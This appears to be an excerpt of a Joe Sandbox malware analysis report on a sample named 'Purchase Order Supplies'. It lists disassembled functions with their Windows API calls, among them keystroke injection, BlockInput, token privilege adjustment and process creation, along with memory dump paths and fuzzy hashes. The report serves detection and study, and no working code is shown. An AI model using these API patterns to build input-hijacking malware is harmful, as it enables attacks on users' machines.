Opcode ID: 8d188bcbdf75b8bee33c46b393bacfc5890303cbc3d2dd9796a8f3903a0ebfae
Instruction ID: 7eecb6347ef39e3b3ac6d796b1113da1e81e292a24cdd066dcaed5f5568e7e43
Opcode Fuzzy Hash: 8d188bcbdf75b8bee33c46b393bacfc5890303cbc3d2dd9796a8f3903a0ebfae
Instruction Fuzzy Hash: AF2155752001057FCB359F68DC48BAA3BA6AB47368F184264F93A4B3E3D7319E11E760

Function 00CFF0A1 Relevance: 3.0, APIs: 2, Instructions: 46nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

NtdllDialogWndProc_W.NTDLL(?,0000002B,?,?,?,?,?,?,?,00D0F352,?,?,?), ref: 00CFF115

Part of subcall function 00CAB155: GetWindowLongW.USER32(?,000000EB), ref: 00CAB166

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00CFF0FB

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: LongWindow$DialogMessageNtdllProc_Send
String ID:
API String ID: 1273190321-0
Opcode ID: a043ccf454e765c37f0e6c70bad6073a29c1c2ae317891d3249fad5828924c46
Instruction ID: 1d44707370abb10078356135fa9c13b9837412cf3d7157435dd960f2647b9170
Opcode Fuzzy Hash: a043ccf454e765c37f0e6c70bad6073a29c1c2ae317891d3249fad5828924c46
Instruction Fuzzy Hash: 89019231200208FBDB219F14DC45F6A3F66FF86364F148528FA154B3A1CB319803EB62

Function 00CFF45A Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00CFF47D
NtdllDialogWndProc_W.NTDLL(?,00000200,?,?,?,?,?,?,?,00D0F42E,?,?,?,?,?), ref: 00CFF4A6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClientDialogNtdllProc_Screen
String ID:
API String ID: 3420055661-0
Opcode ID: 623893afcf22a30f4d8c9f192806655f1775aef8607359bf8973919201a0243c
Instruction ID: 046dfb085689a0b0ad44c3d8bb80cad775598c76efd0aea48dd9782516367491
Opcode Fuzzy Hash: 623893afcf22a30f4d8c9f192806655f1775aef8607359bf8973919201a0243c
Instruction Fuzzy Hash: 1FF01D76400218BFEB049F55DC059EE7FB9FF44351F10401AF901A2160D775AA51DB70

Function 00CDD712 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00CEC2E2,?,?,00000000,?), ref: 00CDD73F
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00CEC2E2,?,?,00000000,?), ref: 00CDD751

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 788ca88fbea3994c74cbcd8349eae23aa7680332bb5b1cfd91217240f436378c
Instruction ID: 72e358b9cc412eab87e34958fdbfe339d05c036a8795e1c2fc5df6d8af9f647c
Opcode Fuzzy Hash: 788ca88fbea3994c74cbcd8349eae23aa7680332bb5b1cfd91217240f436378c
Instruction Fuzzy Hash: DEF0823550032DBBDB11AFA4CC49FEA776DAF49351F008155F916D6281D7309A40DBA0

Function 00CD4B52 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00CD4B89
keybd_event.USER32(?,7697C0D0,?,00000000), ref: 00CD4B9C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: a201ec342eb27275ce6b92f2d27010d4be09463d87580ad5800a0da83a221002
Instruction ID: 550b6ab332385030f69a12ed7b2f1087eb136700b47617b45d54639cc58de41d
Opcode Fuzzy Hash: a201ec342eb27275ce6b92f2d27010d4be09463d87580ad5800a0da83a221002
Instruction Fuzzy Hash: 91F01D7090434DAFEB058FA5C805BBE7BB5AF04305F04C40AFA65A5291D779C6169FA4

Function 00CCB8B0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00CCB9EC), ref: 00CCB8C5
CloseHandle.KERNEL32(?,?,00CCB9EC), ref: 00CCB8D7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 0be79d214808a39c68df7328ada022b04fb3559803d06ceebfdd0e3c1b5d3e76
Instruction ID: bb507b194f942ccd4304cc6601719443fc39043c7db84db2b47efaae1cc81832
Opcode Fuzzy Hash: 0be79d214808a39c68df7328ada022b04fb3559803d06ceebfdd0e3c1b5d3e76
Instruction Fuzzy Hash: E7E0B672004611BEE7262B64EC09DB77BEAEF08311B20C869F49681470DB62ACD1EB20

Function 00CFF594 Relevance: 3.0, APIs: 2, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00CFF59C
NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?,?,00D0F3AD,?,?,?,?), ref: 00CFF5C6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 2dd9c8667dd33a78a6162e4caec39b0a80098e30992eac086cce932e4a346a56
Instruction ID: daa810ce440980d86c075a6caa5d647497244b632677d40fe466f1fa80ba3ccf
Opcode Fuzzy Hash: 2dd9c8667dd33a78a6162e4caec39b0a80098e30992eac086cce932e4a346a56
Instruction Fuzzy Hash: CBE0867010422CBBEB141F19DC19FB93B15EB00750F10851AF916C80E1D7B08591D660

Function 00CB8E3C Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,00C9125D,00CB7A43,00C90F35,?,?,00000001), ref: 00CB8E41
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00CB8E4A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0190dc6b1403832cf2bd562cd505f425b11946f2ba2a7745118d79f62bf528e3
Instruction ID: fb516abd6a5d635130aac581781611b304d715005d66001e5cbfad069d9a2d09
Opcode Fuzzy Hash: 0190dc6b1403832cf2bd562cd505f425b11946f2ba2a7745118d79f62bf528e3
Instruction Fuzzy Hash: 80B09271044B08BBEA002BA1EC09BC83F6AEB08A62F008010F62D84260CF6354528AA2

Function 00CC113E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e07c2a3204044c32beb53fabb95e1b86f26f2d2c4a68afaf728257cd9bacf02
Instruction ID: e7579aafc28592710ec8dd7acbb5c721fe3045a3765b741ee5c85098c090a1f5
Opcode Fuzzy Hash: 2e07c2a3204044c32beb53fabb95e1b86f26f2d2c4a68afaf728257cd9bacf02
Instruction Fuzzy Hash: 51B1E120D2AF414DD6239639DD31336B65CAFBB2D5F91D71BFC2AB4E26EB2185834180

Function 00D002AA Relevance: 1.6, APIs: 1, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

NtdllDialogWndProc_W.NTDLL(?,00000112,?,?), ref: 00D00352

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 636b802f86da9762ba5c84b4822b3b8af17badf27e21167cfd2aec85404d0b22
Instruction ID: 1fc22d6000f87577430e8f94fb7f29da9c91aad63ef5175b52307ea8fae4598f
Opcode Fuzzy Hash: 636b802f86da9762ba5c84b4822b3b8af17badf27e21167cfd2aec85404d0b22
Instruction Fuzzy Hash: E1110A31244219BBFB265B2CCC45FBD3E25E745760F288315FA5A9A1E2CAA09D01E279

Function 00CFE769 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00CAB155: GetWindowLongW.USER32(?,000000EB), ref: 00CAB166

CallWindowProcW.USER32(?,?,00000020,?,?), ref: 00CFE7AF

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$CallLongProc
String ID:
API String ID: 4084987330-0
Opcode ID: 8bac1d1077000881fde09b36dc9a0b079b435b95d115949b1a9ebd423556f00a
Instruction ID: b766112f8f931697de19c42726e7192b5df5babf36efff76a70e44b2895a498c
Opcode Fuzzy Hash: 8bac1d1077000881fde09b36dc9a0b079b435b95d115949b1a9ebd423556f00a
Instruction Fuzzy Hash: C6F0FF3510020CFFCF55AF55DC44DB93BA7EB05361B048515FE258A6B1CB329D61EB61

Function 00CFEA4E Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

Part of subcall function 00CAB736: GetCursorPos.USER32(000000FF), ref: 00CAB749
Part of subcall function 00CAB736: ScreenToClient.USER32(00000000,000000FF), ref: 00CAB766
Part of subcall function 00CAB736: GetAsyncKeyState.USER32(00000001), ref: 00CAB78B
Part of subcall function 00CAB736: GetAsyncKeyState.USER32(00000002), ref: 00CAB799

NtdllDialogWndProc_W.NTDLL(?,00000204,?,?,00000001,?,?,?,00D0F417,?,?,?,?,?,00000001,?), ref: 00CFEA9C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AsyncState$ClientCursorDialogLongNtdllProc_ScreenWindow
String ID:
API String ID: 2356834413-0
Opcode ID: 425d87b865abec1b2056727819c6c16abc80c79e90e29505be5daffc9ef54282
Instruction ID: 861be54c00ac9b56ca753f87fceb0758986158fffd2ef0083d61d35a57768a49
Opcode Fuzzy Hash: 425d87b865abec1b2056727819c6c16abc80c79e90e29505be5daffc9ef54282
Instruction Fuzzy Hash: 94F0A735100329BBDF146F15CC05EBE3F61FB01755F004015FD165A2A1D7769961EBE1

Function 00CAB7F2 Relevance: 1.5, APIs: 1, Instructions: 28nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

NtdllDialogWndProc_W.NTDLL(?,00000006,?,?,?,?,00CAAF40,?,?,?,?,?), ref: 00CAB83B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 1bfba0517584069c8fb5086bfb5f00a94540cc39e7e8310fc3d728192073d588
Instruction ID: 5f6e21aed2f3d72012a751651d1e351bc1cb13e7b77798bf6def3abd228784b5
Opcode Fuzzy Hash: 1bfba0517584069c8fb5086bfb5f00a94540cc39e7e8310fc3d728192073d588
Instruction Fuzzy Hash: 66F05434500309AFDB289F18DC50A753BA6F705361F144219FD52873E1D771DD50DB60

Function 00CE703C Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00CE7057

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 2e63da5046c47b29844512ddff6498c619af434f163342095b873b99884330f5
Instruction ID: ecb57b29c19ae544127600d9e93be0eae93bc5993ebffc18745ced7b60469ea6
Opcode Fuzzy Hash: 2e63da5046c47b29844512ddff6498c619af434f163342095b873b99884330f5
Instruction Fuzzy Hash: 04E04F36304214AFC710EFAAD808E96F7EDAF98750F00C42AFA45D7351DBB0E8009BA0

Function 00CFF3DA Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000232,?,?), ref: 00CFF41A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 60b8f33b874e72bcf7109d66bd249de9dfbfb6c99af13bd5bc06951ebd3e1342
Instruction ID: ba5c6ccf2ff050c8f847887ac184e23d7034a604c3f350c4482b7ec2bf3c6cca
Opcode Fuzzy Hash: 60b8f33b874e72bcf7109d66bd249de9dfbfb6c99af13bd5bc06951ebd3e1342
Instruction Fuzzy Hash: 1FF06D31240359BFDB21DF58DC05FD63FA5FB06760F048418BA25672E1CB716920E765

Function 00CAAC99 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

NtdllDialogWndProc_W.NTDLL(?,00000007,?,00000000,00000000,?,?), ref: 00CAACC7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: c8a7e98dfd5701593cd9b330dd36ebc9a85463b17f5ce1ad21b52ec308d2df95
Instruction ID: 82b117163dca1c5256ab19de514e28abbfd9aa40986871855e690fd2f96b42dd
Opcode Fuzzy Hash: c8a7e98dfd5701593cd9b330dd36ebc9a85463b17f5ce1ad21b52ec308d2df95
Instruction Fuzzy Hash: C2E0B635140208BBDF15AF90DC51E683B26BB4A358F108418FA054A2A1CB33A522EB61

Function 00CFF425 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000053,?,?,?,00D0F3D4,?,?,?,?,?,?), ref: 00CFF450

Part of subcall function 00CFE13E: _memset.LIBCMT ref: 00CFE14D
Part of subcall function 00CFE13E: _memset.LIBCMT ref: 00CFE15C
Part of subcall function 00CFE13E: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00D53EE0,00D53F24), ref: 00CFE18B
Part of subcall function 00CFE13E: CloseHandle.KERNEL32 ref: 00CFE19D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _memset$CloseCreateDialogHandleNtdllProc_Process
String ID:
API String ID: 2364484715-0
Opcode ID: 4bed2176c430f9f7592d42d0b4e692fc8d714fd5d822f70f074f2cec0a787712
Instruction ID: d237cdb868950b784c67d2e54c232eb9303cf33813c2469c90a85fcf74db1a4c
Opcode Fuzzy Hash: 4bed2176c430f9f7592d42d0b4e692fc8d714fd5d822f70f074f2cec0a787712
Instruction Fuzzy Hash: D6E01231100208EFCB51AF08DC04EAA3BA2FB08340F008014FA00972B2CB31A922EF52

Function 00CFF3AB Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 00CFF3D0

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 604f988b1285b386717d1ffe361de54c2788ddb07436917ddeafe4c676434555
Instruction ID: 4b61cffeb73e05484a85bfcf17e84fcf3da4a7ea5bc29144d3ef1d456a382579
Opcode Fuzzy Hash: 604f988b1285b386717d1ffe361de54c2788ddb07436917ddeafe4c676434555
Instruction Fuzzy Hash: FDE0E23820030CEFDB01DF88D844E8A3BA6FB1A350F004054FD048B362CB72A820EBB1

Function 00CFF37C Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 00CFF3A1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
